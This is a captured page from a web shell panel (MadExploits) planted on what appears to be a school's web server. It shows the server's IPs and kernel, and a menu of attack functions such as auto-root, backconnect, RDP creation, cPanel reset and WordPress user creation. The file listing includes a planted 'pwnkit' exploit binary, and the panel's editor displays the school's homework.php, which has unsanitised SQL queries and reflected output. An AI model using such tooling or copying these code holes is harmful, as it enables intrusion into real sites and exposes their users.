Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.225.54.147
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
nbspublicschool /
public_html /
nbs_website /
[ HOME SHELL ]
Name
Size
Permission
Action
_saving
[ DIR ]
drwxr-xr-x
bootstrap
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
dist
[ DIR ]
drwxr-xr-x
font-awesome-4.7.0
[ DIR ]
drwxr-xr-x
image
[ DIR ]
drwxr-xr-x
include
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
admin-dashboard.php
1.76
KB
-rw-r--r--
changepass.php
5.84
KB
-rw-r--r--
disclosure.php
9.45
KB
-rw-r--r--
enquiry.php
5.22
KB
-rw-r--r--
faculty.php
10.86
KB
-rw-r--r--
gallery.php
10.98
KB
-rw-r--r--
homework.php
12.56
KB
-rw-r--r--
index.php
2.39
KB
-rw-r--r--
logout.php
174
B
-rw-r--r--
news.php
9.74
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
subject_tit.php
9.06
KB
-rw-r--r--
syllabus.php
10.28
KB
-rw-r--r--
tc.php
11.2
KB
-rw-r--r--
topper.php
12.28
KB
-rw-r--r--
video.php
11.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : homework.php
<?php include("include/header1.php"); if(!empty($_POST['homework'])){ $obj->homework_entry(); } if(!empty($_POST['mul_del'])){ foreach($_POST['mul_del'] as $code) { $id= $code; $photo_sql= "SELECT hw_file FROM homework WHERE homework_id='".$id."'"; $rs= mysqli_query($obj->mysqli,$photo_sql); $photo= mysqli_fetch_assoc($rs); if(is_file('_saving/homework/'.$photo['hw_file'])){ unlink('_saving/homework/'.$photo['hw_file']); } } $col= 'homework_id'; $table= 'homework'; $page= 'homework.php'; $img= "hw_file"; $path= "_saving/homework/"; $obj->delete_multiple($col,$table,$page); } if(!empty($_REQUEST['edit'])){ $val= $_REQUEST['edit']; $row= $obj->getRecord('homework','homework_id',$val); } ?> <!-- Left side column. contains the logo and sidebar --> <aside class="main-sidebar"> <!-- sidebar: style can be found in sidebar.less --> <section class="sidebar"> <!-- Sidebar user panel --> <!-- /.search form --> <!-- sidebar menu: : style can be found in sidebar.less --> <?php include 'include/sidebar.php'; ?> <?php include 'include/admin-menu.php'; ?> </section> <!-- /.sidebar --> </aside> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <?php if(!empty($_REQUEST['msg'])){ echo '<section class="content-header"> <div class="row"> <div class="col-md-12"> <div class="alert alert-success alert-dismissable"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> <h4><i class="icon fa fa-check"></i>'.$_REQUEST['msg'].'</h4> </div> </div> </div> </section>'; } ?> <?php if(!empty($obj->errorMsg)){ ?> <section class="content-header"> <div class="row"> <div class="col-md-12"> <div class="alert alert-success alert-dismissable"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button> <h4><i class="icon fa fa-check"></i> <?php echo $obj->errorMsg; ?></h4> </div> </div> </div> </section> <?php } ?> <section class="content-header"> <h1> Homework Entry </h1> <div class="col-lg-12"> <ol class="breadcrumb"> <li><a href="admin-dashboard.php"><i class="fa fa-dashboard"></i> Dashboard</a></li> <li><a href="news.php" class="btn btn-success btn-sm">News</a></li> <li><a href="enquiry.php" class="btn btn-success btn-sm">Enquiry</a></li> <li><a href="faculty.php" class="btn btn-success btn-sm">Faculty</a></li> <li class="active">TC Entry</li> </ol> </div> </section> <section class="content"> <div class="row"> <div class="col-md-12"> <div class="box box-primary"> <form role="form" action="" method="post" enctype="multipart/form-data" name="homework_form" id="homework_form" data-toggle="validator"> <div class="box-body"> <div class="form-group col-md-3"> <label for="exampleInputPassword1">Class</label><br> <select class="form-control" name="class" id="class"> <?php $option_array = array(''=>'Select Class','Class Nursery'=>'Class Nursery','Class Prep'=>'Class Prep','Class K.G'=>'Class K.G','Class 1'=>'Class 1','Class 2'=>'Class 2','Class 3'=>'Class 3','Class 4'=>'Class 4','Class 5'=>'Class 5','Class 6'=>'Class 6','Class 7'=>'Class 7','Class 8'=>'Class 8','Class 9'=>'Class 9','Class 10'=>'Class 10','Class 11'=>'Class 11','Class 12'=>'Class 12'); foreach($option_array as $key=> $val){ if($key == $row['gal_type']) { $option .= "<option value='$key' selected>$val</option>"; } else { $option .= "<option value='$key'>$val</option>"; } } echo $option; ?> </select> </div> <div class="form-group col-md-3"> <label>Subject</label> <select id="subject_tit_id" name="subject_tit_id" class="form-control" > <?php $option= "<option value=''>--please select--</option>"; $cou_res= $obj->getTable('subject_tit','subject_tit_id'); if(!empty($cou_res)){ foreach($cou_res as $val){ if($val[subject_tit_id]== $row[subject_tit_id]){ $option .= "<option selected value='$val[subject_tit_id]'>$val[title_name]</option>"; } else{ $option .= "<option value='$val[subject_tit_id]'>$val[title_name]</option>"; } } echo $option; } ?> </select> </div> <div class="form-group col-md-3"> <label>Homework Title</label> <input type="text" class="form-control" name="title" id="title" placeholder="Enter a Title..." value="<?= isset($row)? $row['title'] : ''?>" autocomplete="off" onkeyup="livesearch('title','[^A-Za-z0-9(){}.*, ]')" onkeydown="livesearch('title','[^A-Za-z0-9(){}.*, ]')"> </div> <div class="form-group col-md-3"> <label>upload File <span style="color:#990000"></span></label> <?php if(isset($row)){ echo '<input type="file" class="form-control" name="hw_file">'; } else{ echo '<input type="file" class="form-control" name="hw_file">'; } ?> <?php if(isset($row)){ if(is_file('_saving/homework/'.$row['hw_file'])){ echo "<br><br>"; echo "<img src='_saving/homework/$row[hw_file]' height='80'>"; } } ?> <br>(upload only .pdf or .document file) </div> <div class="form-group col-md-12"> <label>Discirption</label> <textarea class="form-control" rows="3" name="description" id="description" placeholder="Enter Discription..." autocomplete="off" onkeyup="livesearch('description','[^A-Za-z0-9(){}.*, ]')" onkeydown="livesearch('description','[^A-Za-z0-9(){}.*, ]')"><?= isset($row)? $row['description'] : ''?></textarea> </div> <div class="form-group col-md-4" style="margin-top:1.8em"> <?php if(isset($row)== TRUE){ ?> <input type="hidden" name="homework_id" value="<?= $row['homework_id']?>" /> <input type="hidden" name="hw_file" value="<?= $row['hw_file']?>" /> <?php } ?> <input type="hidden" name="homework" value="1"> <button type="submit" name="submit" class="btn btn-primary btn-xs"><?= isset($row)? 'Update' : 'Save'?></button> <button type="reset" name="reset" class="btn btn-primary btn-xs">Reset</button> </div> </div> <!-- /.box-body --> </form> </div> </div> </div> </section> <!-- /.content --> <section class="content-header"> <h1>Homework View <small></small> </h1> </section> <!-- Main content --> <section class="content"> <div class="row"> <div class="col-xs-12"> <div class="box"> <div class="box-header"> <h3 class="box-title"></h3> </div> <!-- /.box-header --> <div class="box-body"> <form id="vnews" action="homework.php" method="post"> <table id="example1" class="table table-bordered table-striped table-responsive"> <thead> <tr> <th>#</th> <th>Sr. No.</th> <th>Class</th> <th>Subject</th> <th>Description</th> <th>File</th> <th>Action</th> </tr> </thead> <?php $res= $obj->getTable('homework','homework_id desc'); if($res){ $i=1; foreach($res as $hwork_data){ $sub_tit= $obj->getRecord('subject_tit','subject_tit_id',$hwork_data['subject_tit_id']); ?> <tr> <td scope="col"><input type="checkbox" name="mul_del[]" id="mul_del[]" value="<?= $hwork_data['homework_id'] ?>" /></td> <td scope="col"><?= $i++ ?></td> <td scope="col"><?= $hwork_data['class']?></td> <td scope="col"><?= $sub_tit['title_name']?></td> <td scope="col"><?= $hwork_data['description']?></td> <td scope="col"><a href="_saving/homework/<?= $hwork_data['hw_file'] ?>" target="_blank"><?= $hwork_data['hw_file'] ?></a></td> <td class="center"> <a class="btn btn-info btn-sm" href="homework.php?edit=<?= $hwork_data['homework_id']?>"> <i class="glyphicon glyphicon-edit icon-white"></i> Edit </a> <a class="btn btn-danger btn-sm" href="javascript:muldelete()"> <i class="glyphicon glyphicon-trash icon-white"></i> Delete </a> </td> </tr> <?php } } ?> </table> </form> </div> <!-- /.box-body --> </div> <!-- /.box --> </div> <!-- /.col --> </div> <!-- /.row --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <?php include 'include/footer.php'; ?> <div class="control-sidebar-bg"></div> </div> <!-- ./wrapper --> <!-- ./wrapper --> <script src="plugins/jQuery/jQuery-2.1.4.min.js"></script> <script src="js/jquery.min.js"></script> <script type="text/javascript" src="js/jquery.mousewheel.min.js"></script> <script type="text/javascript" src="js/jquery.dateselect.js"></script> <script src="js/jquery-ui.min.js"></script> <script src="bootstrap/js/bootstrap.min.js"></script> <script src="plugins/datatables/jquery.dataTables.min.js"></script> <script src="plugins/datatables/dataTables.bootstrap.min.js"></script> <script src="js/jquery.validate.min.js"></script> <script src="js/jquery-validate-additional-methods.js"></script> <script src="dist/js/app.min.js"></script> <script type="text/javascript" src="js/jquery-ui.min.js"></script> <script src="//cdn.ckeditor.com/4.5.9/full/ckeditor.js"></script> <script> CKEDITOR.replace('description'); $.widget.bridge('uibutton', $.ui.button); $(function () { $("#example1").DataTable(); }); $.widget.bridge('uibutton', $.ui.button); $(function () { $("#example1").DataTable(); $('#example2').DataTable({ "paging": true, "lengthChange": false, "searching": false, "ordering": true, "info": true, "autoWidth": true }); }); $(document).ready(function(){ $.validator.addMethod('filesize', function(value, element, param) { // param = size (in bytes) // element = element to validate (<input>) // value = value of the element (file name) return this.optional(element) || (element.files[0].size <= param) }); $('#homework_form').validate({ rules: { subject: { required: true }, title: { required: true }, description: { required: true }, }, messages: { subject: { required: "Please Enter Subject", }, title: { required: "Please Enter Title", }, description: { required: "Please Enter Description", }, }, highlight: function(element){ $(element).closest('.form-group').addClass('has-error').removeClass('has-success'); //$(element).next('span').addClass('fa fa-times-circle').removeClass('fa fa-check-circle'); }, unhighlight: function(element){ $(element).closest('.form-group').addClass('has-success').removeClass('has-error'); //$(element).next('span').addClass('fa fa-check-circle').removeClass('fa fa-times-circle'); }, errorElement: 'span', errorClass: 'help-block', //errorPlacement: '', }); }); function livesearch(e,r) { var textfield= document.getElementById(e); var regx= new RegExp(r, 'g'); textfield.value= textfield.value.replace(regx,''); } function muldelete() { element_lenght= vnews.elements.length; for(i=0;i<element_lenght;i++) { if(vnews.elements[i].name=="mul_del[]") { if(vnews.elements[i].checked==true) { if(confirm("Are you sure delete record(s)?")) { this.vnews.submit(); break; } } } } } </script> </body> </html>
Close